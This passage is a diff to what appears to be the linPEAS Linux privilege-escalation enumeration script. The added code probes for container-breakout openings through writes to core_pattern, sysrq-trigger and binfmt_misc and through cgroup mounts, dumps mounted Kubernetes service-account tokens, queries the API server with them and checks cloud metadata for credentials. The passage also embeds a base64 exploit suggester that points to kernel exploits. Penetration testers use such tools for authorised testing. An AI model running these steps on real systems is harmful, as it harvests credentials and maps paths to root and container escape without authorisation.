3ZlID0+ICcyMDE0LTAwMzgnLAogICAgICAgIG1pbCA9PiAnaHR0cDovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy8zMTM0NicsCiAgICB9LAogICAgJ3Jhd21vZGVQVFknID0+IHsKICAgICAgICB2dWxuID0+IFsKICAgICAgICAgICAgJzIuNi4zMScsICcyLjYuMzInLCAnMi42LjMzJywgJzIuNi4zNCcsICcyLjYuMzUnLCAnMi42LjM2JywKICAgICAgICAgICAgJzIuNi4zNycsICcyLjYuMzgnLCAnMi42LjM5JywgJzMuMTQuMCcsICczLjE1LjAnCiAgICAgICAgXSwKICAgICAgICBjdmUgPT4gJzIwMTQtMDE5NicsCiAgICAgICAgbWlsID0+ICdodHRwOi8vcGFja2V0c3Rvcm1zZWN1cml0eS5jb20vZmlsZXMvZG93bmxvYWQvMTI2NjAzL2N2ZS0yMDE0LTAxOTYtbWQuYycsCiAgICB9LAogICAgJ292ZXJsYXlmcycgPT4gewogICAgICAgIHZ1bG4gPT4gWwogICAgICAgICAgICAnMy4xMy4wJywgJzMuMTYuMCcsICczLjE5LjAnCiAgICAgICAgXSwKICAgICAgICBjdmUgPT4gJzIwMTUtODY2MCcsCiAgICAgICAgbWlsID0+ICdodHRwOi8vd3d3LmV4cGxvaXQtZGIuY29tL2V4cGxvaXRzLzM5MjMwJywKICAgIH0sCiAgICAncHBfa2V5JyA9PiB7CiAgICAgICAgdnVsbiA9PiBbCgkJCSczLjQuMCcsICAnMy41LjAnLCAgJzMuNi4wJywgICczLjcuMCcsICAnMy44LjAnLCAgJzMuOC4xJywgIAogICAgICAgICAgICAnMy44LjInLCAgJzMuOC4zJywgICczLjguNCcsICAnMy44LjUnLCAgJzMuOC42JywgICczLjguNycsICAKICAgICAgICAgICAgJzMuOC44JywgICczLjguOScsICAnMy45LjAnLCAgJzMuOS42JywgICczLjEwLjAnLCAnMy4xMC42JywgCiAgICAgICAgICAgICczLjExLjAnLCAnMy4xMi4wJywgJzMuMTMuMCcsICczLjEzLjEnCiAgICAgICAgXSwKICAgICAgICBjdmUgPT4gJzIwMTYtMDcyOCcsCiAgICAgICAgbWlsID0+ICdodHRwOi8vd3d3LmV4cGxvaXQtZGIuY29tL2V4cGxvaXRzLzM5Mjc3JywKICAgIH0sCiAgICAnZGlydHlfY293JyA9PiB7CiAgICAgICAgdnVsbiA9PiBbCiAgICAgICAgICAgICcyLjYuMjInLCAnMi42LjIzJywgJzIuNi4yNCcsICcyLjYuMjUnLCAnMi42LjI2JywgJzIuNi4yNycsIAoJCQknMi42LjI3JywgJzIuNi4yOCcsICcyLjYuMjknLCAnMi42LjMwJywgJzIuNi4zMScsICcyLjYuMzInLCAKICAgICAgICAgICAgJzIuNi4zMycsICcyLjYuMzQnLCAnMi42LjM1JywgJzIuNi4zNicsICcyLjYuMzcnLCAnMi42LjM4JywgCiAgICAgICAgICAgICcyLjYuMzknLCAnMy4wLjAnLCAgJzMuMC4xJywgICczLjAuMicsICAnMy4wLjMnLCAgJzMuMC40JywgIAogICAgICAgICAgICAnMy4wLjUnLCAgJzMuMC42JywgICczLjEuMCcsICAnMy4yLjAnLCAgJzMuMy4wJywgICczLjQuMCcsICAKICAgICAgICAgICAgJzMuNS4wJywgICczLjYuMCcsICAnMy43LjAnLCAgJzMuNy42JywgICczLjguMCcsICAnMy45LjAnCiAgICAgICAgXSwKICAgICAgICBjdmUgPT4gJzIwMTYtNTE5NScsCiAgICAgICAgbWlsID0+ICdodHRwOi8vd3d3LmV4cGxvaXQtZGIuY29tL2V4cGxvaXRzLzQwNjE2JywKICAgIH0sCiAgICAnYWZfcGFja2V0JyA9PiB7CiAgICAgICAgdnVsbiA9PiBbJzQuNC4wJyBdLAogICAgICAgIGN2ZSA9PiAnMjAxNi04NjU1JywKICAgICAgICBtaWwgPT4gJ2h0dHA6Ly93d3cuZXhwbG9pdC1kYi5jb20vZXhwbG9pdHMvNDA4NzEnLAogICAgfSwKICAgICdwYWNrZXRfc2V0X3JpbmcnID0+IHsKICAgICAgICB2dWxuID0+IFsnNC44LjAnIF0sCiAgICAgICAgY3ZlID0+ICcyMDE3LTczMDgnLAogICAgICAgIG1pbCA9PiAnaHR0cDovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy80MTk5NCcsCiAgICB9LAogICAgJ2Nsb25lX25ld3VzZXInID0+IHsKICAgICAgICB2dWxuID0+IFsKICAgICAgICAgICAgJzMuMy41JywgJzMuMy40JywgJzMuMy4yJywgJzMuMi4xMycsICczLjIuOScsICczLjIuMScsIAogICAgICAgICAgICAnMy4xLjgnLCAnMy4wLjUnLCAnMy4wLjQnLCAnMy4wLjInLCAnMy4wLjEnLCAnMy4yJywgJzMuMC4xJywgJzMuMCcKICAgICAgICBdLAogICAgICAgIGN2ZSA9PiAnTlxBJywKICAgICAgICBtaWwgPT4gJ2h0dHA6Ly93d3cuZXhwbG9pdC1kYi5jb20vZXhwbG9pdHMvMzgzOTAnLAogICAgfSwKICAgICdnZXRfcmVrdCcgPT4gewogICAgICAgIHZ1bG4gPT4gWwogICAgICAgICAgICAnNC40LjAnLCAnNC44LjAnLCAnNC4xMC4wJywgJzQuMTMuMCcKICAgICAgICBdLAogICAgICAgIGN2ZSA9PiAnMjAxNy0xNjY5NScsCiAgICAgICAgbWlsID0+ICdodHRwOi8vd3d3LmV4cGxvaXQtZGIuY29tL2V4cGxvaXRzLzQ1MDEwJywKICAgIH0sCiAgICAnZXhwbG9pdF94JyA9PiB7CiAgICAgICAgdnVsbiA9PiBbCiAgICAgICAgICAgICcyLjYuMjInLCAnMi42LjIzJywgJzIuNi4yNCcsICcyLjYuMjUnLCAnMi42LjI2JywgJzIuNi4yNycsCiAgICAgICAgICAgICcyLjYuMjcnLCAnMi42LjI4JywgJzIuNi4yOScsICcyLjYuMzAnLCAnMi42LjMxJywgJzIuNi4zMicsCiAgICAgICAgICAgICcyLjYuMzMnLCAnMi42LjM0JywgJzIuNi4zNScsICcyLjYuMzYnLCAnMi42LjM3JywgJzIuNi4zOCcsCiAgICAgICAgICAgICcyLjYuMzknLCAnMy4wLjAnLCAgJzMuMC4xJywgICczLjAuMicsICAnMy4wLjMnLCAgJzMuMC40JywKICAgICAgICAgICAgJzMuMC41JywgICczLjAuNicsICAnMy4xLjAnLCAgJzMuMi4wJywgICczLjMuMCcsICAnMy40LjAnLAogICAgICAgICAgICAnMy41LjAnLCAgJzMuNi4wJywgICczLjcuMCcsICAnMy43LjYnLCAgJzMuOC4wJywgICczLjkuMCcsCiAgICAgICAgICAgICczLjEwLjAnLCAnMy4xMS4wJywgJzMuMTIuMCcsICczLjEzLjAnLCAnMy4xNC4wJywgJzMuMTUuMCcsCiAgICAgICAgICAgICczLjE2LjAnLCAnMy4xNy4wJywgJzMuMTguMCcsICczLjE5LjAnLCAnNC4wLjAnLCAgJzQuMS4wJywKICAgICAgICAgICAgJzQuMi4wJywgICc0LjMuMCcsICAnNC40LjAnLCAgJzQuNS4wJywgICc0LjYuMCcsICAnNC43LjAnCiAgICAgICAgXSwKICAgICAgICBjdmUgPT4gJzIwMTgtMTQ2NjUnLAogICAgICAgIG1pbCA9PiAnaHR0cDovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy80NTY5NycsCiAgICB9LAogICk7Cn0KCl9fRU5EX18KPWhlYWQxIE5BTUUKCmxpbnV4X2V4cGxvaXRfc3VnZ2VzdGVyLTIucGwgLSBBIGxvY2FsIGV4cGxvaXQgc3VnZ2VzdGVyIGZvciBsaW51eAoKPWhlYWQxIERFU0NSSVBUSU9OCgpUaGlzIHBlcmwgc2NyaXB0IHdpbGwgZW51bWVyYXRlIHRoZSBwb3NzaWJsZSBleHBsb2l0cyBhdmFpbGFibGUgZm9yIGEgZ2l2ZW4ga2VybmVsIHZlcnNpb24KCj1oZWFkMSBVU0FHRQoKWy1oXSBIZWxwICh0aGlzIG1lc3NhZ2UpClsta10gS2VybmVsIG51bWJlciAoZWcuIDIuNi4yOCkKWy1kXSBPcGVuIGV4cGxvaXQgZG93bmxvYWQgbWVudQoKWW91IGNhbiBhbHNvIHByb3ZpZGUgYSBwYXJ0aWFsIGtlcm5lbCB2ZXJzaW9uIChlZy4gMi40KQp0byBzZWUgYWxsIGV4cGxvaXRzIGF2YWlsYWJsZS4KCj1oZWFkMSBBVVRIT1IKCkpvbmF0aGFuIERvbmFzIChjKSAyMDE5Cgo9Y3V0Cgo9aGVhZDEgTElDRU5TRQoKIExpbnV4IEV4cGxvaXQgU3VnZ2VzdGVyIDIKCiBUaGlzIHByb2dyYW0gaXMgZnJlZSBzb2Z0d2FyZTsgeW91IGNhbiByZWRpc3RyaWJ1dGUgaXQgYW5kL29yIG1vZGlmeQogaXQgdW5kZXIgdGhlIHRlcm1zIG9mIHRoZSBHTlUgR2VuZXJhbCBQdWJsaWMgTGljZW5zZSBhcyBwdWJsaXNoZWQgYnkKIHRoZSBGcmVlIFNvZnR3YXJlIEZvdW5kYXRpb247IGVpdGhlciB2ZXJzaW9uIDIgb2YgdGhlIExpY2Vuc2UsIG9yCiAoYXQgeW91ciBvcHRpb24pIGFueSBsYXRlciB2ZXJzaW9uLgoKIFRoaXMgcHJvZ3JhbSBpcyBkaXN0cmlidXRlZCBpbiB0aGUgaG9wZSB0aGF0IGl0IHdpbGwgYmUgdXNlZnVsLAogYnV0IFdJVEhPVVQgQU5ZIFdBUlJBTlRZOyB3aXRob3V0IGV2ZW4gdGhlIGltcGxpZWQgd2FycmFudHkgb2YKIE1FUkNIQU5UQUJJTElUWSBvciBGSVRORVNTIEZPUiBBIFBBUlRJQ1VMQVIgUFVSUE9TRS4gIFNlZSB0aGUKIEdOVSBHZW5lcmFsIFB1YmxpYyBMaWNlbnNlIGZvciBtb3JlIGRldGFpbHMuCiAgICAgICAgCiBZb3Ugc2hvdWxkIGhhdmUgcmVjZWl2ZWQgYSBjb3B5IG9mIHRoZSBHTlUgR2VuZXJhbCBQdWJsaWMgTGljZW5zZSBhbG9uZwogd2l0aCB0aGlzIHByb2dyYW07IGlmIG5vdCwgd3JpdGUgdG8gdGhlIEZyZWUgU29mdHdhcmUgRm91bmRhdGlvbiwgSW5jLiwKIDUxIEZyYW5rbGluIFN0cmVldCwgRmlmdGggRmxvb3IsIEJvc3RvbiwgTUEgMDIxMTAtMTMwMSBVU0EuCgo9Y3V0Cg==" - echo $les2_b64 | base64 -d | perl | sed "s,$(printf '\033')\\[[0-9;]*[a-zA-Z],,g" | grep -i "CVE" -B 1 -A 10 | grep -Ev "^\-\-$" | sed -${E} "s,CVE-[0-9]+-[0-9]+,${SED_RED},g" + echo $les2_b64 | base64 -d | perl 2>/dev/null | sed "s,$(printf '\033')\\[[0-9;]*[a-zA-Z],,g" | grep -i "CVE" -B 1 -A 10 | grep -Ev "^\-\-$" | sed -${E} "s,CVE-[0-9]+-[0-9]+,${SED_RED},g" echo "" fi @@ -1344,6 +1513,22 @@ print_list "Execshield enabled? ............ "$NC print_list "SELinux enabled? ............... "$NC (sestatus 2>/dev/null || echo_not_found "sestatus") | sed "s,disabled,${SED_RED}," +#-- SY) Seccomp +print_list "Seccomp enabled? ............... "$NC +([ "$(grep Seccomp /proc/self/status | grep -v 0)" ] && echo "enabled" || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,enabled,${SED_GREEN}," + +#-- SY) AppArmor +print_list "AppArmor profile? .............. "$NC +(cat /proc/self/attr/current 2>/dev/null || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,kernel,${SED_GREEN}," + +#-- SY) AppArmor +print_list "User namespace? ................ "$NC +if [ "$(cat /proc/self/uid_map 2>/dev/null)" ]; then echo "enabled" | sed "s,enabled,${SED_GREEN},"; else echo "disabled" | sed "s,disabled,${SED_RED},"; fi + +#-- SY) cgroup2 +print_list "Cgroup2 enabled? ............... "$NC +([ "$(grep cgroup2 /proc/filesystems)" ] && echo "enabled" || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,enabled,${SED_GREEN}," + #-- SY) Gatekeeper if [ "$MACPEAS" ]; then print_list "Gatekeeper enabled? .......... "$NC @@ -1423,6 +1608,14 @@ containerCheck() { else containerType="kubernetes\n" fi fi + + # Inside concourse? + if grep "/concourse" /proc/1/mounts -qa 2>/dev/null; then + inContainer="1" + if [ "$containerType" ]; then + containerType="$containerType (concourse)\n" + fi + fi # Are we inside LXC? if env | grep "container=lxc" -qa 2>/dev/null || @@ -1467,27 +1660,33 @@ enumerateDockerSockets() { dockerVersion="$(echo_not_found)" if ! [ "$SEARCHED_DOCKER_SOCKETS" ]; then SEARCHED_DOCKER_SOCKETS="1" - for dock_sock in $(find / ! -path "/sys/*" -type s -name "docker.sock" -o -name "docker.socket" 2>/dev/null); do - if ! [ "$IAMROOT" ] && [ -w "$dock_sock" ]; then - echo "You have write permissions over Docker socket $dock_sock" | sed -${E} "s,$dock_sock,${SED_RED_YELLOW},g" - echo "Docker enummeration:" - docker_enumerated="" + for int_sock in $(find / ! -path "/sys/*" -type s -name "docker.sock" -o -name "docker.socket" -o -name "dockershim.sock" -o -name "containerd.sock" -o -name "crio.sock" -o -name "frakti.sock" -o -name "rktlet.sock" 2>/dev/null); do + if ! [ "$IAMROOT" ] && [ -w "$int_sock" ]; then + if echo "$int_sock" | grep -Eq "docker"; then + dock_sock="$int_sock" + echo "You have write permissions over Docker socket $dock_sock" | sed -${E} "s,$dock_sock,${SED_RED_YELLOW},g" + echo "Docker enummeration:" + docker_enumerated="" - if [ "$(command -v curl)" ]; then - sockInfoResponse="$(curl -s --unix-socket $dock_sock http://localhost/info)" - dockerVersion=$(echo "$sockInfoResponse" | tr ',' '\n' | grep 'ServerVersion' | cut -d'"' -f 4) - echo $sockInfoResponse | tr ',' '\n' | grep -E "$GREP_DOCKER_SOCK_INFOS" | grep -v "$GREP_DOCKER_SOCK_INFOS_IGNORE" | tr -d '"' - if [ "$sockInfoResponse" ]; then docker_enumerated="1"; fi - fi + if [ "$(command -v curl)" ]; then + sockInfoResponse="$(curl -s --unix-socket $dock_sock http://localhost/info)" + dockerVersion=$(echo "$sockInfoResponse" | tr ',' '\n' | grep 'ServerVersion' | cut -d'"' -f 4) + echo $sockInfoResponse | tr ',' '\n' | grep -E "$GREP_DOCKER_SOCK_INFOS" | grep -v "$GREP_DOCKER_SOCK_INFOS_IGNORE" | tr -d '"' + if [ "$sockInfoResponse" ]; then docker_enumerated="1"; fi + fi - if [ "$(command -v docker)" ] && ! [ "$docker_enumerated" ]; then - sockInfoResponse="$(docker info)" - dockerVersion=$(echo "$sockInfoResponse" | tr ',' '\n' | grep 'Server Version' | cut -d' ' -f 4) - printf "$sockInfoResponse" | tr ',' '\n' | grep -E "$GREP_DOCKER_SOCK_INFOS" | grep -v "$GREP_DOCKER_SOCK_INFOS_IGNORE" | tr -d '"' + if [ "$(command -v docker)" ] && ! [ "$docker_enumerated" ]; then + sockInfoResponse="$(docker info)" + dockerVersion=$(echo "$sockInfoResponse" | tr ',' '\n' | grep 'Server Version' | cut -d' ' -f 4) + printf "$sockInfoResponse" | tr ',' '\n' | grep -E "$GREP_DOCKER_SOCK_INFOS" | grep -v "$GREP_DOCKER_SOCK_INFOS_IGNORE" | tr -d '"' + fi + + else + echo "You have write permissions over interesting socket $int_sock" | sed -${E} "s,$int_sock,${SED_RED},g" fi else - echo "You don't have write permissions over Docker socket $dock_sock" | sed -${E} "s,$dock_sock,${SED_GREEN},g" + echo "You don't have write permissions over interesting socket $int_sock" | sed -${E} "s,$int_sock,${SED_GREEN},g" fi done fi @@ -1521,6 +1720,39 @@ checkContainerExploits() { fi } +checkProcSysBreakouts(){ + if [ "$(ls -l /sys/fs/cgroup/*/release_agent 2>/dev/null)" ]; then release_agent_breakout1="Yes"; else release_agent_breakout1="No"; fi + + mkdir /tmp/cgroup_3628d4 + mount -t cgroup -o memory cgroup /tmp/cgroup_3628d4 2>/dev/null + if [ $? -eq 0 ]; then release_agent_breakout2="Yes"; else release_agent_breakout2="No"; fi + rm -rf /tmp/cgroup_3628d4 2>/dev/null + + core_pattern_breakout="$( (echo -n '' > /proc/sys/kernel/core_pattern && echo Yes) 2>/dev/null || echo No)" + modprobe_present="$(ls -l `cat /proc/sys/kernel/modprobe` || echo No)" + panic_on_oom_dos="$( (echo -n '' > /proc/sys/vm/panic_on_oom && echo Yes) 2>/dev/null || echo No)" + panic_sys_fs_dos="$( (echo -n '' > /proc/sys/fs/suid_dumpable && echo Yes) 2>/dev/null || echo No)" + binfmt_misc_breakout="$( (echo -n '' > /proc/sys/fs/binfmt_misc/register && echo Yes) 2>/dev/null || echo No)" + proc_configgz_readable="$([ -r '/proc/config.gz' ] 2>/dev/null && echo Yes || echo No)" + sysreq_trigger_dos="$( (echo -n '' > /proc/sysrq-trigger && echo Yes) 2>/dev/null || echo No)" + kmsg_readable="$( (dmesg > /dev/null 2>&1 && echo Yes) 2>/dev/null || echo No)" # Kernel Exploit Dev + kallsyms_readable="$( (head -n 1 /proc/kallsyms > /dev/null && echo Yes )2>/dev/null || echo No)" # Kernel Exploit Dev + mem_readable="$( (head -n 1 /proc/self/mem > /dev/null && echo Yes) 2>/dev/null || echo No)" + if [ "$(head -n 1 /tmp/kcore 2>/dev/null)" ]; then kcore_readable="Yes"; else kcore_readable="No"; fi + kmem_readable="$( (head -n 1 /proc/kmem > /dev/null && echo Yes) 2>/dev/null || echo No)" + kmem_writable="$( (echo -n '' > /proc/kmem > /dev/null && echo Yes) 2>/dev/null || echo No)" + mem_readable="$( (head -n 1 /proc/mem > /dev/null && echo Yes) 2>/dev/null || echo No)" + mem_writable="$( (echo -n '' > /proc/mem > /dev/null && echo Yes) 2>/dev/null || echo No)" + sched_debug_readable="$( (head -n 1 /proc/sched_debug > /dev/null && echo Yes) 2>/dev/null || echo No)" + mountinfo_readable="$( (head -n 1 /proc/*/mountinfo > /dev/null && echo Yes) 2>/dev/null || echo No)" + uevent_helper_breakout="$( (echo -n '' > /sys/kernel/uevent_helper && echo Yes) 2>/dev/null || echo No)" + vmcoreinfo_readable="$( (head -n 1 /sys/kernel/vmcoreinfo > /dev/null && echo Yes) 2>/dev/null || echo No)" + security_present="$( (ls -l /sys/kernel/security > /dev/null && echo Yes) 2>/dev/null || echo No)" + security_writable="$( (echo -n '' > /sys/kernel/security/a && echo Yes) 2>/dev/null || echo No)" + efi_vars_writable="$( (echo -n '' > /sys/firmware/efi/vars && echo Yes) 2>/dev/null || echo No)" + efi_efivars_writable="$( (echo -n '' > /sys/firmware/efi/efivars && echo Yes) 2>/dev/null || echo No)" +} + ############################################## #---------------) Containers (---------------# @@ -1535,6 +1767,9 @@ command -v kubectl command -v podman command -v runc +print_2title "Am I Containered?" +execBin "AmIContainered" "https://github.com/genuinetools/amicontained" "$FAT_LINPEAS_AMICONTAINED" + print_2title "Container details" print_list "Is this a container? ...........$NC $containerType" @@ -1575,6 +1810,7 @@ if echo "$containerType" | grep -qi "docker"; then if [ "$inContainer" ]; then checkDockerRootless print_list "Rootless Docker? ................ $DOCKER_ROOTLESS\n"$NC | sed -${E} "s,No,${SED_RED}," | sed -${E} "s,Yes,${SED_GREEN}," + echo "" fi if df -h | grep docker; then print_2title "Docker Overlays" @@ -1582,35 +1818,117 @@ if echo "$containerType" | grep -qi "docker"; then fi fi +#If token secrets mounted +if [ "$(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p')" ]; then + print_2title "Listing mounted tokens" + print_info "https://book.hacktricks.xyz/cloud-security/pentesting-kubernetes/attacking-kubernetes-from-inside-a-pod" + ALREADY="IinItialVaaluE" + for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); do + TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/')) + if ! [ $(echo $TOKEN | grep -E $ALREADY) ]; then + ALREADY="$ALREADY|$TOKEN" + echo "Directory: $i" + echo "Namespace: $(cat $i)" + echo "" + echo $TOKEN + echo "================================================================================" + echo "" + fi + done +fi + if [ "$inContainer" ]; then echo "" print_2title "Container & breakout enumeration" - print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout" print_list "Container ID ...................$NC $(cat /etc/hostname && echo '')" if echo "$containerType" | grep -qi "docker"; then print_list "Container Full ID ..............$NC $(basename $(cat /proc/1/cpuset))\n" fi + print_list "Seccomp enabled? ............... "$NC + ([ "$(grep Seccomp /proc/self/status | grep -v 0)" ] && echo "enabled" || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,enabled,${SED_GREEN}," + + print_list "AppArmor profile? .............. "$NC + (cat /proc/self/attr/current 2>/dev/null || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,kernel,${SED_GREEN}," + + print_list "User proc namespace? ........... "$NC + if [ "$(cat /proc/self/uid_map 2>/dev/null)" ]; then echo "enabled" | sed "s,enabled,${SED_GREEN},"; else echo "disabled" | sed "s,disabled,${SED_RED},"; fi checkContainerExploits - print_list "Vulnerable to CVE-2019-5021 .. $VULN_CVE_2019_5021\n"$NC | sed -${E} "s,Yes,${SED_RED_YELLOW}," + print_list "Vulnerable to CVE-2019-5021 .... $VULN_CVE_2019_5021\n"$NC | sed -${E} "s,Yes,${SED_RED_YELLOW}," + + print_3title "Breakout via mounts" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/sensitive-mounts" + + checkProcSysBreakouts + print_list "release_agent breakout 1........ $release_agent_breakout1\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," + print_list "release_agent breakout 2........ $release_agent_breakout2\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," + print_list "core_pattern breakout .......... $core_pattern_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," + print_list "binfmt_misc breakout ........... $binfmt_misc_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," + print_list "uevent_helper breakout ......... $uevent_helper_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," + print_list "core_pattern breakout .......... $core_pattern_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," + print_list "is modprobe present ............ $modprobe_present\n" | sed -${E} "s,/.*,${SED_RED}," + print_list "DoS via panic_on_oom ........... $panic_on_oom_dos\n" | sed -${E} "s,/Yes,${SED_RED}," + print_list "DoS via panic_sys_fs ........... $panic_sys_fs_dos\n" | sed -${E} "s,/Yes,${SED_RED}," + print_list "DoS via sysreq_trigger_dos ..... $sysreq_trigger_dos\n" | sed -${E} "s,/Yes,${SED_RED}," + print_list "/proc/config.gz readable ....... $proc_configgz_readable\n" | sed -${E} "s,/Yes,${SED_RED}," + print_list "/proc/sched_debug readable ..... $sched_debug_readable\n" | sed -${E} "s,/Yes,${SED_RED}," + print_list "/proc/*/mountinfo readable ..... $mountinfo_readable\n" | sed -${E} "s,/Yes,${SED_RED}," + print_list "/sys/kernel/security present ... $security_present\n" | sed -${E} "s,/Yes,${SED_RED}," + print_list "/sys/kernel/security writable .. $security_writable\n" | sed -${E} "s,/Yes,${SED_RED}," + if [ "$EXTRA_CHECKS" ]; then + print_list "/proc/kmsg readable ............ $kmsg_readable\n" | sed -${E} "s,/Yes,${SED_RED}," + print_list "/proc/kallsyms readable ........ $kallsyms_readable\n" | sed -${E} "s,/Yes,${SED_RED}," + print_list "/proc/self/mem readable ........ $sched_debug_readable\n" | sed -${E} "s,/Yes,${SED_RED}," + print_list "/proc/kcore readable ........... $kcore_readable\n" | sed -${E} "s,/Yes,${SED_RED}," + print_list "/proc/kmem readable ............ $kmem_readable\n" | sed -${E} "s,/Yes,${SED_RED}," + print_list "/proc/kmem writable ............ $kmem_writable\n" | sed -${E} "s,/Yes,${SED_RED}," + print_list "/proc/mem readable ............. $mem_readable\n" | sed -${E} "s,/Yes,${SED_RED}," + print_list "/proc/mem writable ............. $mem_writable\n" | sed -${E} "s,/Yes,${SED_RED}," + print_list "/sys/kernel/vmcoreinfo readable $vmcoreinfo_readable\n" | sed -${E} "s,/Yes,${SED_RED}," + print_list "/sys/firmware/efi/vars writable $efi_vars_writable\n" | sed -${E} "s,/Yes,${SED_RED}," + print_list "/sys/firmware/efi/efivars writable $efi_efivars_writable\n" | sed -${E} "s,/Yes,${SED_RED}," + fi + + echo "" + print_3title "Namespaces" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/namespaces" + ls -l /proc/self/ns/ if echo "$containerType" | grep -qi "kubernetes"; then print_list "Kubernetes namespace ...........$NC $(cat /run/secrets/kubernetes.io/serviceaccount/namespace /var/run/secrets/kubernetes.io/serviceaccount/namespace /secrets/kubernetes.io/serviceaccount/namespace 2>/dev/null)\n" print_list "Kubernetes token ...............$NC $(cat /run/secrets/kubernetes.io/serviceaccount/token /var/run/secrets/kubernetes.io/serviceaccount/token /secrets/kubernetes.io/serviceaccount/token 2>/dev/null)\n" - print_2title "Kubernetes Information" echo "" + print_2title "Kubernetes Information" + print_info "https://book.hacktricks.xyz/cloud-security/pentesting-kubernetes/attacking-kubernetes-from-inside-a-pod" + + print_3title "Kubernetes service account folder" ls -lR /run/secrets/kubernetes.io/ /var/run/secrets/kubernetes.io/ /secrets/kubernetes.io/ 2>/dev/null echo "" print_3title "Kubernetes env vars" - (env | set) | grep -Ei "kubernetes|kube" + (env | set) | grep -Ei "kubernetes|kube" | grep -Ev "^WF=|^Wfolders=|^mounted=|^USEFUL_SOFTWARE='|^INT_HIDDEN_FILES=|^containerType=" + echo "" + + print_3title "Current sa user k8s permissions" + print_info "https://book.hacktricks.xyz/cloud-security/pentesting-kubernetes/hardening-roles-clusterroles" + kubectl auth can-i --list 2>/dev/null || curl -s -k -d "$(echo \"eyJraW5kIjoiU2VsZlN1YmplY3RSdWxlc1JldmlldyIsImFwaVZlcnNpb24iOiJhdXRob3JpemF0aW9uLms4cy5pby92MSIsIm1ldGFkYXRhIjp7ImNyZWF0aW9uVGltZXN0YW1wIjpudWxsfSwic3BlYyI6eyJuYW1lc3BhY2UiOiJlZXZlZSJ9LCJzdGF0dXMiOnsicmVzb3VyY2VSdWxlcyI6bnVsbCwibm9uUmVzb3VyY2VSdWxlcyI6bnVsbCwiaW5jb21wbGV0ZSI6ZmFsc2V9fQo=\"|base64 -d)" \ + "https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \ + -X 'POST' -H 'Content-Type: application/json' \ + --header "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" | sed "s,secrets|exec|create|patch|impersonate|\"*\",${SED_RED}," + fi echo "" print_2title "Container Capabilities" - capsh --print 2>/dev/null | sed -${E} "s,$containercapsB,${SED_RED},g" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation#capabilities-abuse-escape" + if [ "$(command -v capsh)" ]; then + capsh --print 2>/dev/null | sed -${E} "s,$containercapsB,${SED_RED},g" + else + cat /proc/self/status | grep Cap | sed -${E} "s, .*,${SED_RED},g" | sed -${E} "s,0000000000000000|00000000a80425fb,${SED_GREEN},g" + fi echo "" print_2title "Privilege Mode" @@ -1626,13 +1944,299 @@ if [ "$inContainer" ]; then echo "" print_2title "Interesting Files Mounted" - (mount -l || cat /proc/self/mountinfo || cat /proc/1/mountinfo || cat /proc/mounts || cat /proc/self/mounts || cat /proc/1/mounts )2>/dev/null | grep -Ev "$GREP_IGNORE_MOUNTS" | sed -${E} "s,docker.sock,${SED_RED_YELLOW}," + (mount -l || cat /proc/self/mountinfo || cat /proc/1/mountinfo || cat /proc/mounts || cat /proc/self/mounts || cat /proc/1/mounts )2>/dev/null | grep -Ev "$GREP_IGNORE_MOUNTS" | sed -${E} "s,.sock,${SED_RED}," | sed -${E} "s,docker.sock,${SED_RED_YELLOW}," | sed -${E} "s,/dev/,${SED_RED},g" echo "" print_2title "Possible Entrypoints" ls -lah /*.sh /*entrypoint* /**/entrypoint* /**/*.sh /deploy* 2>/dev/null | sort | uniq echo "" fi + +fi +echo '' +echo '' +if [ "$WAIT" ]; then echo "Press enter to continue"; read "asd"; fi + +if echo $CHECKS | grep -q cloud; then +print_title "Cloud" +########################################### +#-----------) Cloud functions (-----------# +########################################### + +GCP_GOOD_SCOPES="/devstorage.read_only|/logging.write|/monitoring|/servicecontrol|/service.management.readonly|/trace.append" +GCP_BAD_SCOPES="/cloud-platform|/compute" + +exec_with_jq(){ + if [ "$(command -v jq)" ]; then + $@ | jq; + else + $@; + fi +} + +check_gcp(){ + is_gcp="No" + if grep -q metadata.google.internal /etc/hosts 2>/dev/null || (curl --connect-timeout 2 metadata.google.internal >/dev/null 2>&1 && [ "$?" -eq "0" ]) || (wget --timeout 2 --tries 1 metadata.google.internal >/dev/null 2>&1 && [ "$?" -eq "0" ]); then + is_gcp="Yes" + fi +} + +check_aws_ecs(){ + is_aws_ecs="No" + if (env | grep -q ECS_CONTAINER_METADATA_URI_v4); then + is_aws_ecs="Yes"; + aws_ecs_metadata_uri=$ECS_CONTAINER_METADATA_URI_v4; + aws_ecs_service_account_uri="http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" + + elif (env | grep -q ECS_CONTAINER_METADATA_URI); then + is_aws_ecs="Yes"; + aws_ecs_metadata_uri=$ECS_CONTAINER_METADATA_URI; + aws_ecs_service_account_uri="http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" + + elif (env | grep -q AWS_CONTAINER_CREDENTIALS_RELATIVE_URI); then + is_aws_ecs="Yes"; 